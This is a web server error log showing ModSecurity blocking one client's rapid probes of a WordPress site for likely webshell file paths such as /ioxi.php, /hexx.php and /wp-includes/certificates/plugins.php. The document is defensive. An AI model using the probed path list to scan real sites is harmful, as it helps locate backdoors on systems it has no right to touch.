[Fri Feb 13 00:15:33.863050 2026] [:error] [pid 46718:tid 46739] [client 20.215.189.110:23019] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ext.php"] [unique_id "aY38pUdfX45LelQwruRmzwAAAdI"]
[Fri Feb 13 00:15:35.251234 2026] [:error] [pid 46718:tid 46730] [client 20.215.189.110:23013] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ext.php"] [unique_id "aY38p0dfX45LelQwruRm1QAAAck"]
[Fri Feb 13 00:15:36.329324 2026] [:error] [pid 65064:tid 65089] [client 20.215.189.110:5797] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ext.php"] [unique_id "aY38qBOvRgscTcqsMBky-wAAANY"]
[Fri Feb 13 00:15:37.200615 2026] [:error] [pid 46675:tid 46691] [client 20.215.189.110:42210] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ext.php"] [unique_id "aY38qTuaQILPonWFiQml0AAAAU0"]
[Fri Feb 13 00:15:38.313833 2026] [:error] [pid 65064:tid 65083] [client 20.215.189.110:43164] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aY38qhOvRgscTcqsMBky_gAAANA"]
[Fri Feb 13 00:15:39.151639 2026] [:error] [pid 63511:tid 63521] [client 20.215.189.110:33792] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aY38q6QCQbD5BgeyIk1SgwAAAAg"]
[Fri Feb 13 00:15:39.966075 2026] [:error] [pid 63511:tid 63524] [client 20.215.189.110:37427] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aY38q6QCQbD5BgeyIk1ShAAAAAs"]
[Fri Feb 13 00:15:41.445933 2026] [:error] [pid 63418:tid 63484] [client 20.215.189.110:19631] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aY38rdzjh-bbJnStPZIZ6gAAAIg"]
[Fri Feb 13 00:15:42.494206 2026] [:error] [pid 65064:tid 65075] [client 20.215.189.110:15557] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi.php"] [unique_id "aY38rhOvRgscTcqsMBkzCgAAAMg"]
[Fri Feb 13 00:15:43.248419 2026] [:error] [pid 63418:tid 63492] [client 20.215.189.110:19630] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi.php"] [unique_id "aY38r9zjh-bbJnStPZIZ7gAAAJA"]
[Fri Feb 13 00:15:43.998912 2026] [:error] [pid 65064:tid 65077] [client 20.215.189.110:39081] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi.php"] [unique_id "aY38rxOvRgscTcqsMBkzDwAAAMo"]
[Fri Feb 13 00:15:45.688736 2026] [:error] [pid 63417:tid 63450] [client 20.215.189.110:31000] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi.php"] [unique_id "aY38sf8gSb97qRMtXCIfeQAAAEE"]
[Fri Feb 13 00:15:46.798958 2026] [:error] [pid 65064:tid 65070] [client 20.215.189.110:11016] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "aY38shOvRgscTcqsMBkzEwAAAMM"]
[Fri Feb 13 00:15:47.483652 2026] [:error] [pid 63418:tid 63500] [client 20.215.189.110:37435] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "aY38s9zjh-bbJnStPZIZ9QAAAJg"]
[Fri Feb 13 00:15:48.332678 2026] [:error] [pid 65064:tid 65076] [client 20.215.189.110:19670] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "aY38tBOvRgscTcqsMBkzFQAAAMk"]
[Fri Feb 13 00:15:49.357144 2026] [:error] [pid 65064:tid 65079] [client 20.215.189.110:11030] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "aY38tROvRgscTcqsMBkzFwAAAMw"]
[Fri Feb 13 00:15:50.067716 2026] [:error] [pid 46675:tid 46681] [client 20.215.189.110:21802] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ov.php"] [unique_id "aY38tjuaQILPonWFiQml3AAAAUM"]
[Fri Feb 13 00:15:50.810770 2026] [:error] [pid 46675:tid 46682] [client 20.215.189.110:6094] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ov.php"] [unique_id "aY38tjuaQILPonWFiQml4AAAAUQ"]
[Fri Feb 13 00:15:51.666982 2026] [:error] [pid 63511:tid 63526] [client 20.215.189.110:37410] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ov.php"] [unique_id "aY38t6QCQbD5BgeyIk1SjwAAAA0"]
[Fri Feb 13 00:15:52.457929 2026] [:error] [pid 46718:tid 46743] [client 20.215.189.110:6127] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ov.php"] [unique_id "aY38uEdfX45LelQwruRm7QAAAdY"]
[Fri Feb 13 00:15:53.373949 2026] [proxy_fcgi:error] [pid 63418:tid 63481] [client 20.215.189.110:15948] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:15:53.932936 2026] [proxy_fcgi:error] [pid 63418:tid 63495] [client 20.215.189.110:15948] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:15:55.470776 2026] [proxy_fcgi:error] [pid 63418:tid 63489] [client 20.215.189.110:15948] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:15:55.747014 2026] [proxy_fcgi:error] [pid 63418:tid 63486] [client 20.215.189.110:15948] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:15:56.129995 2026] [proxy_fcgi:error] [pid 63418:tid 63479] [client 20.215.189.110:15948] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:15:56.415156 2026] [proxy_fcgi:error] [pid 63418:tid 63487] [client 20.215.189.110:15948] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:15:56.674449 2026] [proxy_fcgi:error] [pid 63418:tid 63477] [client 20.215.189.110:15948] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:15:56.939624 2026] [proxy_fcgi:error] [pid 63418:tid 63492] [client 20.215.189.110:15948] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:15:57.249384 2026] [proxy_fcgi:error] [pid 63418:tid 63497] [client 20.215.189.110:15948] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:15:57.509856 2026] [proxy_fcgi:error] [pid 63418:tid 63482] [client 20.215.189.110:15948] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:15:57.764410 2026] [:error] [pid 63418:tid 63498] [client 20.215.189.110:15948] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aY38vdzjh-bbJnStPZIaDgAAAJY"]
[Fri Feb 13 00:15:58.900797 2026] [:error] [pid 63416:tid 63422] [client 20.215.189.110:16759] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aY38vr2wmecPaCHcM2_3tQAAAYE"]
[Fri Feb 13 00:15:59.990062 2026] [:error] [pid 46675:tid 46702] [client 20.215.189.110:39040] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aY38vzuaQILPonWFiQml7gAAAVg"]
[Fri Feb 13 00:16:01.066471 2026] [:error] [pid 63511:tid 63514] [client 20.215.189.110:9067] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aY38waQCQbD5BgeyIk1SmQAAAAE"]
[Fri Feb 13 00:16:02.007699 2026] [:error] [pid 63416:tid 63441] [client 20.215.189.110:18682] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aY38wr2wmecPaCHcM2_3ugAAAZQ"]
[Fri Feb 13 00:16:03.514565 2026] [:error] [pid 46603:tid 46616] [client 20.215.189.110:15993] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aY38w_Ei6O39v05JNJeyAQAAAQs"]
[Fri Feb 13 00:16:04.276057 2026] [:error] [pid 63511:tid 63529] [client 20.215.189.110:39097] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aY38xKQCQbD5BgeyIk1SnQAAABA"]
[Fri Feb 13 00:16:04.920852 2026] [:error] [pid 63418:tid 63478] [client 20.215.189.110:45602] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aY38xNzjh-bbJnStPZIaFQAAAII"]
[Fri Feb 13 00:16:05.697607 2026] [:error] [pid 63418:tid 63486] [client 20.215.189.110:9047] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-update.php"] [unique_id "aY38xdzjh-bbJnStPZIaFwAAAIo"]
[Fri Feb 13 00:16:06.565765 2026] [:error] [pid 65064:tid 65069] [client 20.215.189.110:8983] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-update.php"] [unique_id "aY38xhOvRgscTcqsMBkzKAAAAMI"]
[Fri Feb 13 00:16:07.223816 2026] [:error] [pid 63511:tid 63527] [client 20.215.189.110:17889] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-update.php"] [unique_id "aY38x6QCQbD5BgeyIk1SoQAAAA4"]
[Fri Feb 13 00:16:08.064390 2026] [:error] [pid 65064:tid 65087] [client 20.215.189.110:21762] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-update.php"] [unique_id "aY38yBOvRgscTcqsMBkzKwAAANQ"]
[Fri Feb 13 00:16:08.794417 2026] [:error] [pid 46718:tid 46737] [client 20.215.189.110:9029] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aY38yEdfX45LelQwruRm_gAAAdA"]
[Fri Feb 13 00:16:09.407291 2026] [:error] [pid 46718:tid 46741] [client 20.215.189.110:15961] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aY38yUdfX45LelQwruRnAAAAAdQ"]
[Fri Feb 13 00:16:10.463117 2026] [:error] [pid 46603:tid 46613] [client 20.215.189.110:10366] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aY38yvEi6O39v05JNJeyCQAAAQg"]
[Fri Feb 13 00:16:11.613459 2026] [:error] [pid 46675:tid 46698] [client 20.215.189.110:39046] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aY38yzuaQILPonWFiQml8wAAAVQ"]
[Fri Feb 13 00:16:13.082693 2026] [:error] [pid 63416:tid 63426] [client 20.215.189.110:45628] [client 20.215.189.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/plugins.php"] [unique_id "aY38zb2wmecPaCHcM2_3wAAAAYU"]
[Fri Feb 13 00:16:13.830808 2026] [:error] [pid 46675:tid 46688] [client 20.215.189.110:18660] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lc.php"] [unique_id "aY38zTuaQILPonWFiQml9AAAAUo"]
[Fri Feb 13 00:16:15.558021 2026] [:error] [pid 63511:tid 63537] [client 20.215.189.110:17902] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lc.php"] [unique_id "aY38z6QCQbD5BgeyIk1SpwAAABg"]
[Fri Feb 13 00:16:16.800958 2026] [:error] [pid 63511:tid 63513] [client 20.215.189.110:45612] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lc.php"] [unique_id "aY380KQCQbD5BgeyIk1SqQAAAAA"]
[Fri Feb 13 00:16:17.596856 2026] [:error] [pid 46718:tid 46741] [client 20.215.189.110:45318] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hexx.php"] [unique_id "aY380UdfX45LelQwruRnCQAAAdQ"]
[Fri Feb 13 00:16:18.512082 2026] [:error] [pid 65064:tid 65087] [client 20.215.189.110:17815] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hexx.php"] [unique_id "aY380hOvRgscTcqsMBkzNAAAANQ"]
[Fri Feb 13 00:16:19.295313 2026] [:error] [pid 46603:tid 46609] [client 20.215.189.110:17821] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hexx.php"] [unique_id "aY380_Ei6O39v05JNJeyEwAAAQQ"]
[Fri Feb 13 00:16:19.997037 2026] [:error] [pid 63417:tid 63456] [client 20.215.189.110:21886] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hexx.php"] [unique_id "aY380_8gSb97qRMtXCIfmwAAAEc"]
[Fri Feb 13 00:16:20.811822 2026] [:error] [pid 63417:tid 63469] [client 20.215.189.110:15125] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cbrfo.php"] [unique_id "aY381P8gSb97qRMtXCIfnwAAAFQ"]
[Fri Feb 13 00:16:21.424019 2026] [:error] [pid 63417:tid 63464] [client 20.215.189.110:21841] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cbrfo.php"] [unique_id "aY381f8gSb97qRMtXCIfoAAAAE8"]
[Fri Feb 13 00:16:22.562507 2026] [:error] [pid 63418:tid 63489] [client 20.215.189.110:27484] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cbrfo.php"] [unique_id "aY381tzjh-bbJnStPZIaJwAAAI0"]
[Fri Feb 13 00:16:23.292597 2026] [:error] [pid 65064:tid 65089] [client 20.215.189.110:33457] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cbrfo.php"] [unique_id "aY381xOvRgscTcqsMBkzQQAAANY"]
[Fri Feb 13 00:16:24.147937 2026] [:error] [pid 63416:tid 63425] [client 20.215.189.110:21831] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inc.php"] [unique_id "aY382L2wmecPaCHcM2_3ygAAAYQ"]
[Fri Feb 13 00:16:24.770431 2026] [:error] [pid 63418:tid 63484] [client 20.215.189.110:33433] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inc.php"] [unique_id "aY382Nzjh-bbJnStPZIaKQAAAIg"]
[Fri Feb 13 00:16:26.129729 2026] [:error] [pid 63416:tid 63439] [client 20.215.189.110:39646] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inc.php"] [unique_id "aY382r2wmecPaCHcM2_3zgAAAZI"]
[Fri Feb 13 00:16:27.123019 2026] [:error] [pid 63416:tid 63435] [client 20.215.189.110:39670] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inc.php"] [unique_id "aY38272wmecPaCHcM2_30gAAAY4"]
[Fri Feb 13 00:16:28.408566 2026] [:error] [pid 63416:tid 63444] [client 20.215.189.110:26372] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aY383L2wmecPaCHcM2_31QAAAZc"]
[Fri Feb 13 00:16:29.794287 2026] [:error] [pid 46718:tid 46721] [client 20.215.189.110:21183] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aY383UdfX45LelQwruRnEQAAAcA"]
